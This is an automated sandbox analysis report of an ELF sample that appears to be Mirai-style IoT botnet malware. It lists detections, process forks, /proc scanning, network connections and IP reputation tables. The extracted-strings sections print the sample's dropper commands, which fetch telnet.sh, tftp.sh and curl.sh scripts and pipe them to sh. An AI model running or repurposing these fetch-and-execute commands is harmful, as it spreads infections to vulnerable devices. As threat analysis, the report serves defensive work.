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Linux Analysis Report
pbnpvwfhco.elf

Overview

General Information

Sample name:	pbnpvwfhco.elf
Analysis ID:	1563944
MD5:	46f3822f5c2b4da19caa265dcd7fb27d
SHA1:	9ab97fc022ed16b280e6011cb59d576d361e78c3
SHA256:	eeaeeef2dffd35994b6009c63922bd60a57446e30b2b4dfe8e0683efef39b7e1
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Sample reads /proc/mounts (often used for finding a writable filesystem)

Uses STUN server to do NAT traversial

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563944
Start date and time:	2024-11-27 16:45:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	pbnpvwfhco.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/119@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: pbnpvwfhco.elf

Runtime Messages

Command:	/tmp/pbnpvwfhco.elf
PID:	5490
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	snow slide
Standard Error:

Process Tree

system is lnxubuntu20

pbnpvwfhco.elf (PID: 5490, Parent: 5414, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/pbnpvwfhco.elf

pbnpvwfhco.elf New Fork (PID: 5492, Parent: 5490)

pbnpvwfhco.elf New Fork (PID: 5495, Parent: 5492)

pbnpvwfhco.elf New Fork (PID: 5506, Parent: 5492)

pbnpvwfhco.elf New Fork (PID: 5528, Parent: 5492)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: pbnpvwfhco.elf

ReversingLabs: Detection: 44%

Source: pbnpvwfhco.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shbusybox cat /proc/self/cmdline/bin/busybox echo > .b && sh .b && cd /bin/busybox wget http:///telnet.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh; curl http:///curl.sh -o- | shbusybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4busyboxcat

Source: global traffic	TCP traffic: 192.168.2.14:38226 -> 77.232.40.10:8001
Source: global traffic	UDP traffic: 192.168.2.14:44130 -> 74.125.250.129:19302

Source: unknown	TCP traffic detected without corresponding DNS query: 15.231.23.110
Source: unknown	TCP traffic detected without corresponding DNS query: 6.42.233.211
Source: unknown	TCP traffic detected without corresponding DNS query: 184.192.166.210
Source: unknown	TCP traffic detected without corresponding DNS query: 153.222.35.146
Source: unknown	TCP traffic detected without corresponding DNS query: 22.236.56.165
Source: unknown	TCP traffic detected without corresponding DNS query: 23.141.190.5
Source: unknown	TCP traffic detected without corresponding DNS query: 211.76.65.93
Source: unknown	TCP traffic detected without corresponding DNS query: 53.180.50.191
Source: unknown	TCP traffic detected without corresponding DNS query: 218.233.149.35
Source: unknown	TCP traffic detected without corresponding DNS query: 101.142.206.145
Source: unknown	TCP traffic detected without corresponding DNS query: 206.198.11.70
Source: unknown	TCP traffic detected without corresponding DNS query: 194.253.124.188
Source: unknown	TCP traffic detected without corresponding DNS query: 51.154.55.168
Source: unknown	TCP traffic detected without corresponding DNS query: 202.228.185.147
Source: unknown	TCP traffic detected without corresponding DNS query: 160.251.128.237
Source: unknown	TCP traffic detected without corresponding DNS query: 205.172.199.37
Source: unknown	TCP traffic detected without corresponding DNS query: 111.208.101.12
Source: unknown	TCP traffic detected without corresponding DNS query: 70.123.246.165
Source: unknown	TCP traffic detected without corresponding DNS query: 100.129.1.127
Source: unknown	TCP traffic detected without corresponding DNS query: 97.185.225.24
Source: unknown	TCP traffic detected without corresponding DNS query: 180.32.105.146
Source: unknown	TCP traffic detected without corresponding DNS query: 149.115.112.92
Source: unknown	TCP traffic detected without corresponding DNS query: 47.188.81.40
Source: unknown	TCP traffic detected without corresponding DNS query: 73.7.151.102
Source: unknown	TCP traffic detected without corresponding DNS query: 143.241.11.43
Source: unknown	TCP traffic detected without corresponding DNS query: 165.70.236.27
Source: unknown	TCP traffic detected without corresponding DNS query: 213.43.221.115
Source: unknown	TCP traffic detected without corresponding DNS query: 157.97.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 218.95.217.89
Source: unknown	TCP traffic detected without corresponding DNS query: 15.228.8.243
Source: unknown	TCP traffic detected without corresponding DNS query: 111.134.164.210
Source: unknown	TCP traffic detected without corresponding DNS query: 15.231.23.110
Source: unknown	TCP traffic detected without corresponding DNS query: 58.74.107.89
Source: unknown	TCP traffic detected without corresponding DNS query: 9.179.189.128
Source: unknown	TCP traffic detected without corresponding DNS query: 9.80.3.139
Source: unknown	TCP traffic detected without corresponding DNS query: 53.14.151.204
Source: unknown	TCP traffic detected without corresponding DNS query: 22.227.63.107
Source: unknown	TCP traffic detected without corresponding DNS query: 159.213.14.177
Source: unknown	TCP traffic detected without corresponding DNS query: 111.13.18.156
Source: unknown	TCP traffic detected without corresponding DNS query: 93.126.112.19
Source: unknown	TCP traffic detected without corresponding DNS query: 45.119.9.137
Source: unknown	TCP traffic detected without corresponding DNS query: 89.63.157.148
Source: unknown	TCP traffic detected without corresponding DNS query: 221.136.212.156
Source: unknown	TCP traffic detected without corresponding DNS query: 83.166.185.128
Source: unknown	TCP traffic detected without corresponding DNS query: 216.17.189.224
Source: unknown	TCP traffic detected without corresponding DNS query: 6.42.233.211
Source: unknown	TCP traffic detected without corresponding DNS query: 201.97.60.146
Source: unknown	TCP traffic detected without corresponding DNS query: 87.15.157.88
Source: unknown	TCP traffic detected without corresponding DNS query: 184.192.166.210
Source: unknown	TCP traffic detected without corresponding DNS query: 115.255.150.128

Source: pbnpvwfhco.elf	String found in binary or memory: http:///curl.sh
Source: pbnpvwfhco.elf	String found in binary or memory: http:///telnet.sh

Source: Initial sample	String containing 'busybox' found: busybox cat /proc/self/cmdline
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /telnet.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: busybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shbusybox cat /proc/self/cmdline/bin/busybox echo > .b && sh .b && cd /bin/busybox wget http:///telnet.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh; curl http:///curl.sh -o- \| shbusybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4busyboxcat

Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/3770/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/3771/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/3772/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/3769/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/135/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/3659/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/pbnpvwfhco.elf (PID: 5506)	File opened: /proc/261/cmdline	Jump to behavior

Source: pbnpvwfhco.elf, 5490.1.00007ffe66965000.00007ffe66986000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/pbnpvwfhco.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/pbnpvwfhco.elf
Source: pbnpvwfhco.elf, 5490.1.0000555b8bb94000.0000555b8bcc2000.rw-.sdmp	Binary or memory string: [U!/etc/qemu-binfmt/arm
Source: pbnpvwfhco.elf, 5490.1.0000555b8bb94000.0000555b8bcc2000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: pbnpvwfhco.elf, 5490.1.00007ffe66965000.00007ffe66986000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	Source	Malicious	Antivirus Detection	Reputation
http:///telnet.sh	pbnpvwfhco.elf	false	Avira URL Cloud: safe	unknown
http:///curl.sh	pbnpvwfhco.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
222.82.134.202	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
11.179.129.228	unknown	United States	3356	LEVEL3US	false
148.13.33.28	unknown	United States	394673	9408US	false
74.198.243.30	unknown	Canada	20453	RCCI-WIRELESSCA	false
72.254.178.205	unknown	United States	52468	UFINETPANAMASAPA	false
202.154.181.62	unknown	Indonesia	9341	ICONPLN-ID-AP-ISPPTINDONESIACOMNETSPLUSID	false
90.192.186.90	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
78.115.121.186	unknown	France	8228	CEGETEL-ASFR	false
91.82.131.14	unknown	Hungary	20845	DIGICABLEHU	false
214.88.161.24	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
25.118.5.173	unknown	United Kingdom	7922	COMCAST-7922US	false
54.222.33.21	unknown	China	55960	BJ-GUANGHUAN-APBeijingGuanghuanXinwangDigitalCN	false
148.60.196.112	unknown	France	2200	FR-RENATERReseauNationaldetelecommunicationspourlaTec	false
63.170.170.87	unknown	United States	13776	QX-NET-ASN-1US	false
187.11.190.4	unknown	Brazil	27699	TELEFONICABRASILSABR	false
148.126.249.54	unknown	United States	2575	SRPNETUS	false
15.70.187.108	unknown	United States	13979	ATT-IPFRUS	false
101.220.30.66	unknown	India	58519	CHINATELECOM-CTCLOUDCloudComputingCorporationCN	false
69.54.40.234	unknown	United States	21709	IMPLEX-NETUS	false
65.57.199.144	unknown	United States	3356	LEVEL3US	false
61.220.114.30	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
18.163.68.221	unknown	United States	16509	AMAZON-02US	false
13.49.131.140	unknown	United States	16509	AMAZON-02US	false
39.23.104.0	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
149.137.206.127	unknown	United States	30103	ZOOM-VIDEO-COMM-ASUS	false
76.8.138.98	unknown	United States	11766	MERIPLEX-1-ASUS	false
113.207.149.254	unknown	China	9929	CUIICHINAUNICOMIndustrialInternetBackboneCN	false
33.95.17.194	unknown	United States	2686	ATGS-MMD-ASUS	false
146.121.220.214	unknown	United States	57901	PAUTINA-ASRU	false
106.107.110.98	unknown	Taiwan; Republic of China (ROC)	131586	NCIC-IDC-TWNewCenturyInfoCommTechCoLtdTW	false
59.166.166.66	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
189.23.223.7	unknown	Brazil	4230	CLAROSABR	false
67.121.209.57	unknown	United States	7018	ATT-INTERNET4US	false
40.234.178.83	unknown	United States	4249	LILLY-ASUS	false
91.162.204.92	unknown	France	12322	PROXADFR	false
140.37.50.223	unknown	United States	668	DNIC-AS-00668US	false
3.65.161.19	unknown	United States	16509	AMAZON-02US	false
135.246.65.198	unknown	United States	10455	LUCENT-CIOUS	false
72.33.195.31	unknown	United States	59	WISC-MADISON-ASUS	false
120.70.239.62	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.185.214.188	unknown	South Africa	36943	GridhostZA	false
121.245.139.81	unknown	India	10199	TATA-ASTataCommunicationsLtdIN	false
48.156.15.140	unknown	United States	2686	ATGS-MMD-ASUS	false
191.53.69.15	unknown	Brazil	28202	RedeBrasileiradeComunicacaoLtdaBR	false
23.81.8.77	unknown	United States	7203	LEASEWEB-USA-SFO-12US	false
6.214.199.56	unknown	United States	3356	LEVEL3US	false
94.149.249.130	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
184.85.248.59	unknown	United States	21342	AKAMAI-ASN2EU	false
81.15.53.126	unknown	Iceland	12969	VODAFONE_ICELANDIS	false
199.30.108.124	unknown	Reserved	31849	PINNACLEUS	false
141.36.226.152	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
51.27.231.225	unknown	United States	2686	ATGS-MMD-ASUS	false
169.251.12.8	unknown	United States	47024	THE-METROHEALTH-SYSTEMUS	false
189.193.255.245	unknown	Mexico	13999	MegaCableSAdeCVMX	false
55.41.166.139	unknown	United States	353	DNIC-ASBLK-00306-00371US	false
203.168.194.26	unknown	Hong Kong	9908	HKCABLE2-HK-APHKCableTVLtdHK	false
177.7.117.100	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
210.115.221.23	unknown	Korea Republic of	7558	KBS-ASKoreanBroadcastingSystemKBSKR	false
31.179.135.3	unknown	Poland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
5.254.188.18	unknown	Austria	199205	HUEMER-AT	false
33.145.43.28	unknown	United States	2686	ATGS-MMD-ASUS	false
209.183.218.229	unknown	United States	7784	ATLANTECHUS	false
200.130.137.81	unknown	Brazil	1916	AssociacaoRedeNacionaldeEnsinoePesquisaBR	false
19.201.247.60	unknown	United States	3	MIT-GATEWAYSUS	false
18.124.56.99	unknown	United States	3	MIT-GATEWAYSUS	false
36.238.225.206	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
156.155.145.51	unknown	South Africa	37611	AfrihostZA	false
37.62.245.4	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
11.58.81.176	unknown	United States	3356	LEVEL3US	false
99.60.201.250	unknown	United States	7018	ATT-INTERNET4US	false
123.61.91.178	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
133.204.141.109	unknown	Japan	2518	BIGLOBEBIGLOBEIncJP	false
152.135.21.144	unknown	United States	16669	APPLIED-MATERIALSUS	false
51.170.224.200	unknown	United Kingdom	2686	ATGS-MMD-ASUS	false
124.43.207.198	unknown	Sri Lanka	9329	SLTINT-AS-APSriLankaTelecomInternetLK	false
179.107.24.36	unknown	Brazil	11835	NOVAFIBRATELECOMSABR	false
171.35.98.124	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
168.148.127.37	unknown	United States	27435	OPSOURCE-INCUS	false
172.201.191.17	unknown	United States	18747	IFX18747US	false
187.165.133.92	unknown	Mexico	11888	TelevisionInternacionalSAdeCVMX	false
96.87.237.18	unknown	United States	7922	COMCAST-7922US	false
8.1.58.249	unknown	United States	3356	LEVEL3US	false
216.95.20.152	unknown	United States	701	UUNETUS	false
158.72.93.216	unknown	United States	26810	HHSNET-NOC-ASNUS	false
222.153.252.254	unknown	New Zealand	4771	SPARKNZSparkNewZealandTradingLtdNZ	false
164.43.230.190	unknown	Japan	3949	NTTA-3946US	false
145.133.209.246	unknown	Netherlands	1136	KPNKPNNationalEU	false
158.128.152.242	unknown	Canada	721	DNIC-ASBLK-00721-00726US	false
50.6.232.105	unknown	United States	46606	UNIFIEDLAYER-AS-1US	false
94.123.149.79	unknown	Turkey	12978	DOGAN-ONLINETR	false
55.254.66.222	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
37.126.18.137	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
107.224.24.147	unknown	United States	7018	ATT-INTERNET4US	false
143.184.74.172	unknown	United States	13127	VERSATELASfortheTrans-EuropeanTele2IPTransportbackbo	false
133.61.176.150	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
166.14.109.69	unknown	Switzerland	11798	ACEDATACENTERS-AS-1US	false
116.165.43.53	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
115.71.204.131	unknown	Korea Republic of	45996	GNJ-AS-KRDAOUTECHNOLOGYKR	false
51.195.110.191	unknown	France	16276	OVHFR	false
191.20.111.87	unknown	Brazil	26599	TELEFONICABRASILSABR	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
90.192.186.90	miori.arm7	Get hash	malicious	Unknown	Browse
74.198.243.30	XiVyESLidg.elf	Get hash	malicious	Mirai	Browse
13.49.131.140	na.elf	Get hash	malicious	Mirai	Browse

Process:	/tmp/pbnpvwfhco.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.8841837197791884
Encrypted:	false
SSDEEP:	3:TgtLMDNO3:TgSDm
MD5:	3A0D2AC31D04CAAFFE394B214A53B62A
SHA1:	2199CEC7E3D0D7B9DD00441533F8213BE4F799DA
SHA-256:	EE1B25C95BD8DD64089C3CE835471354CCED19F1157D234571AC9A5180AD190E
SHA-512:	ECD35A74D66D96541CF890906372237A3203FD773B9D594773C02A2098A8F0654FDE31C47D924107D9B933AF94AEF134DBDAF9B70B678BC8AF5960FAE5B1278A
Malicious:	false
Reputation:	low
Preview:	/tmp/pbnpvwfhco.elf.

Process:	/tmp/pbnpvwfhco.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.8841837197791884
Encrypted:	false
SSDEEP:	3:TgtLMDNO3:TgSDm
MD5:	3A0D2AC31D04CAAFFE394B214A53B62A
